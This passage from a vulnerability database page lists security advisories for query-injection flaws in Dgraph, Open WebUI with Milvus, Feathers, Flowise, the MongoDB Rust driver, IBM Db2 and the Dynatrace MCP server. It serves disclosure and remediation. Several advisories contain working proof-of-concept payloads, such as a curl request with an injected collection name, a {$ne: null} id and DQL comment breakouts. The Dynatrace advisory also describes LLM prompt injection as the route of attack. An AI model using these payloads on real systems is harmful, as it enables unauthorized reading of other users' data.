{\"dgraph.type\":\"User\",\"name\":\"Bob User\",\"email\":\"bob@corp.com\",\"secret\":\"SSN-987-65-4321\",\"role\":\"user\"},\n    {\"dgraph.type\":\"User\",\"name\":\"Eve Secret\",\"email\":\"eve@corp.com\",\"secret\":\"API_KEY_sk-live-abc123xyz\",\"role\":\"superadmin\"},\n    {\"dgraph.type\":\"CloudCredential\",\"name\":\"prod-aws-credentials\",\"aws_access_key_id\":\"AKIAIOSFODNN7EXAMPLE\",\"aws_secret_access_key\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"},\n    {\"dgraph.type\":\"CloudCredential\",\"name\":\"gcp-bigquery-service-account\",\"gcp_service_account_key\":\"{\\\"type\\\":\\\"service_account\\\",\\\"project_id\\\":\\\"prod-analytics\\\",\\\"private_key\\\":\\\"-----BEGIN RSA PRIVATE KEY-----\\\\nEXAMPLEKEY\\\\n-----END RSA PRIVATE KEY-----\\\",\\\"client_email\\\":\\\"bigquery@prod-analytics.iam.gserviceaccount.com\\\"}\"}\n  ]}\u0027\n```\n\n### Step 3: Run the exploit\n\n```bash\ncd LEAD_001_DQL\npython3 poc.py\n```\n\n### What to verify\n\n1. HTTP POST returns 200 (endpoint is reachable without auth)\n2. Response contains `data.queries.leak` with an array of nodes\n3. The nodes include fields the attacker never queried through legitimate means (secrets, AWS keys, GCP keys)\n4. No data was modified in the database (the `@if` condition prevents the `set` from executing)\n\n## 10. Mitigations and Patch\n\n**Location:** `edgraph/server.go`, `buildUpsertQuery` (line 714)\n\nInstead of concatenating the raw `cond` string into the DQL query, `buildUpsertQuery` should parse the `cond` value with the DQL lexer and construct the `@filter` as a parsed AST subtree. This eliminates the injection surface entirely because the filter is built programmatically rather than spliced in as a raw string. The existing `strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)` at line 730 is a semantic transformation, not a security control, and should not be relied upon for sanitization.",
  "id": "GHSA-mrxx-39g5-ph77",
  "modified": "2026-05-04T20:08:33Z",
  "published": "2026-04-24T15:41:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-mrxx-39g5-ph77"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41327"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgraph-io/dgraph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field"
}

GHSA-MVH2-WMR8-Q886

Vulnerability from github – Published: 2026-01-31 00:30 – Updated: 2026-01-31 00:30
VLAI
Details

IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5.0 - 11.5.9 and 12.1.0 - 12.1.3 could allow a local user to cause a denial of service due to improper neutralization of special elements in data query logic.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-36366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-30T22:15:54Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5.0 - 11.5.9 and 12.1.0 - 12.1.3 could allow a local user to cause a denial of service due to improper neutralization of special elements in data query logic.",
  "id": "GHSA-mvh2-wmr8-q886",
  "modified": "2026-01-31T00:30:28Z",
  "published": "2026-01-31T00:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36366"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7257681"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P5CP-R7RG-QPXC

Vulnerability from github – Published: 2026-06-17 17:57 – Updated: 2026-07-20 21:08
VLAI
Summary
Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode
Details

RAG ACL Bypass in Milvus Multitenancy Mode

Summary

This is a bypass of the fix for:

  • GHSA-h36f-rqpx-j5wx
  • CVE-2026-44560
  • "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"

Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resource_id and is interpolated into a Milvus expression without escaping.

An authenticated non-admin user can query:

x' or resource_id != '' or resource_id == 'x

This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:

resource_id == 'x' or resource_id != '' or resource_id == 'x'

That returns private knowledge-base chunks belonging to other users.

Affected Configuration

Tested on:

Open WebUI: v0.9.5, commit 3660bc00f
VECTOR_DB=milvus
ENABLE_MILVUS_MULTITENANCY_MODE=true

This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.

Impact

An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.

Root Cause

ACL permits unknown collection names:

# backend/open_webui/retrieval/utils.py
elif not await Knowledges.get_knowledge_by_id(name):
    validated.add(name)

Milvus multitenancy then treats the same name as resource_id and builds unsafe expressions:

# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py
expr=f"{RESOURCE_ID_FIELD} == '{resource_id}'"

Affected paths include:

POST /api/v1/retrieval/query/collection
POST /api/v1/retrieval/query/doc

PoC

Request:

curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  --data-binary @- <<'JSON'
{
  "collection_names": [
    "x' or resource_id != '' or resource_id == 'x"
  ],
  "query": "anything",
  "k": 10,
  "hybrid": false
}
JSON

Actual result: private chunks from other users' knowledge collections are returned.

Expected result: request should be rejected with 403 or return no unauthorized content.

Remediation

  1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.
  2. Escape or parameterize Milvus expression values before building filters.
  3. Reject collection names containing quotes/control characters unless they match a known internal format.
  4. Add a regression test for this payload in Milvus multitenancy mode:
x' or resource_id != '' or resource_id == 'x
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T17:57:43Z",
    "nvd_published_at": "2026-06-23T18:18:07Z",
    "severity": "MODERATE"
  },
  "details": "# RAG ACL Bypass in Milvus Multitenancy Mode\n\n## Summary\n\nThis is a bypass of the fix for:\n\n- GHSA-h36f-rqpx-j5wx\n- CVE-2026-44560\n- \"Unauthorized File and Knowledge Base Content Access via RAG Vector Search\"\n\nOpen WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.\n\nAn authenticated non-admin user can query:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```\n\nThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:\n\n```text\nresource_id == \u0027x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\u0027\n```\n\nThat returns private knowledge-base chunks belonging to other users.\n\n## Affected Configuration\n\nTested on:\n\n```text\nOpen WebUI: v0.9.5, commit 3660bc00f\nVECTOR_DB=milvus\nENABLE_MILVUS_MULTITENANCY_MODE=true\n```\n\nThis is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**\n\n## Impact\n\nAn authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.\n\n## Root Cause\n\nACL permits unknown collection names:\n\n```python\n# backend/open_webui/retrieval/utils.py\nelif not await Knowledges.get_knowledge_by_id(name):\n    validated.add(name)\n```\n\nMilvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:\n\n```python\n# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py\nexpr=f\"{RESOURCE_ID_FIELD} == \u0027{resource_id}\u0027\"\n```\n\nAffected paths include:\n\n```text\nPOST /api/v1/retrieval/query/collection\nPOST /api/v1/retrieval/query/doc\n```\n\n## PoC\n\nRequest:\n\n```bash\ncurl -s -X POST \"$TARGET/api/v1/retrieval/query/collection\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data-binary @- \u003c\u003c\u0027JSON\u0027\n{\n  \"collection_names\": [\n    \"x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\"\n  ],\n  \"query\": \"anything\",\n  \"k\": 10,\n  \"hybrid\": false\n}\nJSON\n```\n\nActual result: private chunks from other users\u0027 knowledge collections are returned.\n\nExpected result: request should be rejected with 403 or return no unauthorized content.\n\n## Remediation\n\n1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.\n2. Escape or parameterize Milvus expression values before building filters.\n3. Reject collection names containing quotes/control characters unless they match a known internal format.\n4. Add a regression test for this payload in Milvus multitenancy mode:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```",
  "id": "GHSA-p5cp-r7rg-qpxc",
  "modified": "2026-07-20T21:08:21Z",
  "published": "2026-06-17T17:57:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54019"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2750.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode"
}

GHSA-P9XR-7P9P-GPQX

Vulnerability from github – Published: 2026-03-10 21:03 – Updated: 2026-03-10 22:55
VLAI
Summary
Feathers has a NoSQL Injection via WebSocket id Parameter in MongoDB Adapter
Details

Socket.IO clients can send arbitrary JavaScript objects as the id argument to any service method (get, patch, update, remove). The transport layer performs no type checking on this argument. When the service uses the MongoDB adapter, these objects pass through getObjectId() and land directly in the MongoDB query as operators. Sending {$ne: null} as the id matches every document in the collection.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.41"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@feathersjs/mongodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T21:03:40Z",
    "nvd_published_at": "2026-03-10T20:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "Socket.IO clients can send arbitrary JavaScript objects as the id argument to any service method (get, patch, update, remove). The transport layer performs no type checking on this argument. When the service uses the MongoDB adapter, these objects pass through getObjectId() and land directly in the MongoDB query as operators. Sending {$ne: null} as the id matches every document in the collection.",
  "id": "GHSA-p9xr-7p9p-gpqx",
  "modified": "2026-03-10T22:55:42Z",
  "published": "2026-03-10T21:03:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/feathersjs/feathers/security/advisories/GHSA-p9xr-7p9p-gpqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29793"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/feathersjs/feathers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Feathers has a NoSQL Injection via WebSocket id Parameter in MongoDB Adapter"
}

GHSA-PCG8-JX3G-5WM7

Vulnerability from github – Published: 2026-09-15 18:32 – Updated: 2026-09-15 18:32
VLAI
Details

Flowise before 3.1.4 fails to sanitize the overrideConfig.sessionId parameter before using it in MongoDB queries within the MongoDBMemory node. Unauthenticated attackers can submit MongoDB operator objects through the prediction API to read chat history records belonging to other users from the shared collection.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-91937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-15T16:17:45Z",
    "severity": "HIGH"
  },
  "details": "Flowise before 3.1.4 fails to sanitize the overrideConfig.sessionId parameter before using it in MongoDB queries within the MongoDBMemory node. Unauthenticated attackers can submit MongoDB operator objects through the prediction API to read chat history records belonging to other users from the shared collection.",
  "id": "GHSA-pcg8-jx3g-5wm7",
  "modified": "2026-09-15T18:32:28Z",
  "published": "2026-09-15T18:32:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wpvf-4vfx-rgxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91937"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-before-3.1.4-nosql-injection-via-sessionid"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PM5H-MRQ6-HCCX

Vulnerability from github – Published: 2026-09-10 18:31 – Updated: 2026-09-10 18:31
VLAI
Details

Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Rust Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-88024"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T18:18:12Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB Rust Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.",
  "id": "GHSA-pm5h-mrq6-hccx",
  "modified": "2026-09-10T18:31:48Z",
  "published": "2026-09-10T18:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88024"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/RUST-2469"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PQH8-P93P-2RX7

Vulnerability from github – Published: 2026-07-31 15:56 – Updated: 2026-07-31 15:56
VLAI
Summary
@dynatrace-oss/dynatrace-mcp-server has a DQL injection via parameters not documented as DQL
Details

Summary

A DQL injection vulnerability in several read tools lets a caller bypass the tools' documented field-scope, time-window, and display caps by injecting DQL pipeline stages through parameters typed as identifiers.

Details

Several tools interpolate caller-supplied parameters directly into DQL query strings without quoting or escaping. The affected parameters are documented in their Zod schemas as identifiers or constrained shorthand (such as "24h" timeframe values or Kubernetes UIDs) - not as DQL expressions. The interpolation lets a caller break out of string literals, append arbitrary DQL pipeline stages, and use // line comments (documented in the Dynatrace DQL language reference) to discard the rest of the intended query.

The marginal-privilege ceiling is low because the operator's token also exposes execute_dql with full DQL access. What the injection grants is the ability to bypass the affected tools' contract: the readOnlyHint: true annotation that MCP clients may treat as a signal to auto-approve, the per-tool field selection (e.g., | fields id, name, type), the display caps (maxProblemsToDisplay, maxVulnerabilitiesToDisplay, maxEntitiesToDisplay), and the time-window bounds.

The vulnerable interpolations are:

File Line Parameter Interpolation
src/capabilities/find-monitored-entity-by-name.ts 23 entityNames[] `fetch ${entityType} \| search "*${entityNames.join('*" OR "*')}*" \| fieldsAdd entity.type \| expand tags`
src/capabilities/find-monitored-entity-by-name.ts 41 entityNames[] `smartscapeNodes "*" \| search "*${entityNames.join('*" OR "*')}*" \| fields id, name, type`
src/capabilities/list-problems.ts 27 timeframe `fetch dt.davis.problems, from: now()-${timeframe}, to: now()`
src/capabilities/list-vulnerabilities.ts 19 timeframe `fetch security.events, from: now()-${timeframe}, to: now()`
src/capabilities/list-exceptions.ts 11 timeframe `fetch user.events, from: now()-${timeframe}, to: now()`
src/capabilities/get-events-for-cluster.ts 20 timeframe `fetch events, from: now()-${timeframe}, to: now()`
src/capabilities/get-events-for-cluster.ts 27 clusterId, kubernetesEntityId `\| filter k8s.cluster.uid == "${clusterId}" or dt.entity.kubernetes_cluster == "${kubernetesEntityId}"`

All Zod schemas for these parameters use z.string() or z.array(z.string()) with no pattern validation.

PoC

clusterId - quote-and-comment break-out. With clusterId = 'x" or 1==1 //' the constructed query becomes:

| filter k8s.cluster.uid == "x" or 1==1 //" or dt.entity.kubernetes_cluster == ""

The first " closes the string literal, or 1==1 neutralises the filter to match every row, and // discards the rest of the line including the kubernetesEntityId guard.

entityNames - pipeline-stage injection. With entityNames = ['svc" | fields id, name, tags //'] the constructed smartscape query becomes:

smartscapeNodes "*" | search "*svc" | fields id, name, tags //*" | fields id, name, type

After the // line comment, the effective query is smartscapeNodes "*" | search "*svc" | fields id, name, tags. The original | fields id, name, type stage is suppressed and replaced with the attacker's field selection - the tool returns whatever field set the attacker requests (including ones not in the tool's documented output contract).

timeframe - prefix injection. With timeframe = '30d, to: now() | fieldsAdd internal_secret //' the list-problems query becomes:

fetch dt.davis.problems, from: now()-30d, to: now() | fieldsAdd internal_secret //, to: now()
| filter isNull(dt.davis.is_duplicate) OR not(dt.davis.is_duplicate)
...

A new pipeline stage is injected before the tool's intended | filter, and the rest of the query is commented out.

The server's own verify_dql tool can be used to confirm any specific injection payload parses as valid DQL.

Impact

  • A caller (typically via prompt injection of an LLM that has access to the affected tools) can bypass the tools' field-scope, time-window, and display caps.
  • The affected tools are annotated readOnlyHint: true, which some MCP clients treat as a signal to auto-approve. The injection turns a "safe" read tool into an arbitrary-DQL surface.
  • No new data access beyond what execute_dql already provides - the marginal impact is the auto-approval pathway and the broken tool contract, not privilege escalation.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@dynatrace-oss/dynatrace-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T15:56:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA DQL injection vulnerability in several read tools lets a caller bypass the tools\u0027 documented field-scope, time-window, and display caps by injecting DQL pipeline stages through parameters typed as identifiers.\n\n### Details\nSeveral tools interpolate caller-supplied parameters directly into DQL query strings without quoting or escaping. The affected parameters are documented in their Zod schemas as identifiers or constrained shorthand (such as `\"24h\"` timeframe values or Kubernetes UIDs) - not as DQL expressions. The interpolation lets a caller break out of string literals, append arbitrary DQL pipeline stages, and use `//` line comments (documented in the [Dynatrace DQL language reference](https://docs.dynatrace.com/docs/discover-dynatrace/platform/grail/dynatrace-query-language/dql-reference)) to discard the rest of the intended query.\n\nThe marginal-privilege ceiling is low because the operator\u0027s token also exposes `execute_dql` with full DQL access. What the injection grants is the ability to bypass the affected tools\u0027 contract: the `readOnlyHint: true` annotation that MCP clients may treat as a signal to auto-approve, the per-tool field selection (e.g., `| fields id, name, type`), the display caps (`maxProblemsToDisplay`, `maxVulnerabilitiesToDisplay`, `maxEntitiesToDisplay`), and the time-window bounds.\n\nThe vulnerable interpolations are:\n\n| File | Line | Parameter | Interpolation |\n|------|------|-----------|---------------|\n| `src/capabilities/find-monitored-entity-by-name.ts` | 23 | `entityNames[]` | `` `fetch ${entityType} \\| search \"*${entityNames.join(\u0027*\" OR \"*\u0027)}*\" \\| fieldsAdd entity.type \\| expand tags` `` |\n| `src/capabilities/find-monitored-entity-by-name.ts` | 41 | `entityNames[]` | `` `smartscapeNodes \"*\" \\| search \"*${entityNames.join(\u0027*\" OR \"*\u0027)}*\" \\| fields id, name, type` `` |\n| `src/capabilities/list-problems.ts` | 27 | `timeframe` | `` `fetch dt.davis.problems, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/list-vulnerabilities.ts` | 19 | `timeframe` | `` `fetch security.events, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/list-exceptions.ts` | 11 | `timeframe` | `` `fetch user.events, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/get-events-for-cluster.ts` | 20 | `timeframe` | `` `fetch events, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/get-events-for-cluster.ts` | 27 | `clusterId`, `kubernetesEntityId` | `` `\\| filter k8s.cluster.uid == \"${clusterId}\" or dt.entity.kubernetes_cluster == \"${kubernetesEntityId}\"` `` |\n\nAll Zod schemas for these parameters use `z.string()` or `z.array(z.string())` with no pattern validation.\n\n### PoC\n**`clusterId` - quote-and-comment break-out.** With `clusterId = \u0027x\" or 1==1 //\u0027` the constructed query becomes:\n\n```\n| filter k8s.cluster.uid == \"x\" or 1==1 //\" or dt.entity.kubernetes_cluster == \"\"\n```\n\nThe first `\"` closes the string literal, `or 1==1` neutralises the filter to match every row, and `//` discards the rest of the line including the `kubernetesEntityId` guard.\n\n**`entityNames` - pipeline-stage injection.** With `entityNames = [\u0027svc\" | fields id, name, tags //\u0027]` the constructed smartscape query becomes:\n\n```\nsmartscapeNodes \"*\" | search \"*svc\" | fields id, name, tags //*\" | fields id, name, type\n```\n\nAfter the `//` line comment, the effective query is `smartscapeNodes \"*\" | search \"*svc\" | fields id, name, tags`. The original `| fields id, name, type` stage is suppressed and replaced with the attacker\u0027s field selection - the tool returns whatever field set the attacker requests (including ones not in the tool\u0027s documented output contract).\n\n**`timeframe` - prefix injection.** With `timeframe = \u002730d, to: now() | fieldsAdd internal_secret //\u0027` the list-problems query becomes:\n\n```\nfetch dt.davis.problems, from: now()-30d, to: now() | fieldsAdd internal_secret //, to: now()\n| filter isNull(dt.davis.is_duplicate) OR not(dt.davis.is_duplicate)\n...\n```\n\nA new pipeline stage is injected before the tool\u0027s intended `| filter`, and the rest of the query is commented out.\n\nThe server\u0027s own `verify_dql` tool can be used to confirm any specific injection payload parses as valid DQL.\n\n### Impact\n- A caller (typically via prompt injection of an LLM that has access to the affected tools) can bypass the tools\u0027 field-scope, time-window, and display caps.\n- The affected tools are annotated `readOnlyHint: true`, which some MCP clients treat as a signal to auto-approve. The injection turns a \"safe\" read tool into an arbitrary-DQL surface.\n- No new data access beyond what `execute_dql` already provides - the marginal impact is the auto-approval pathway and the broken tool contract, not privilege escalation.",
  "id": "GHSA-pqh8-p93p-2rx7",
  "modified": "2026-07-31T15:56:12Z",
  "published": "2026-07-31T15:56:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/security/advisories/GHSA-pqh8-p93p-2rx7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/pull/562"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/commit/15d3546c0618ffbaeaeca477337e08e92f2151bc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/releases/tag/v2.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@dynatrace-oss/dynatrace-mcp-server has a DQL injection via parameters not documented as DQL"
}

No mitigation information available for this CWE.

CAPEC-676: NoSQL Injection

An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.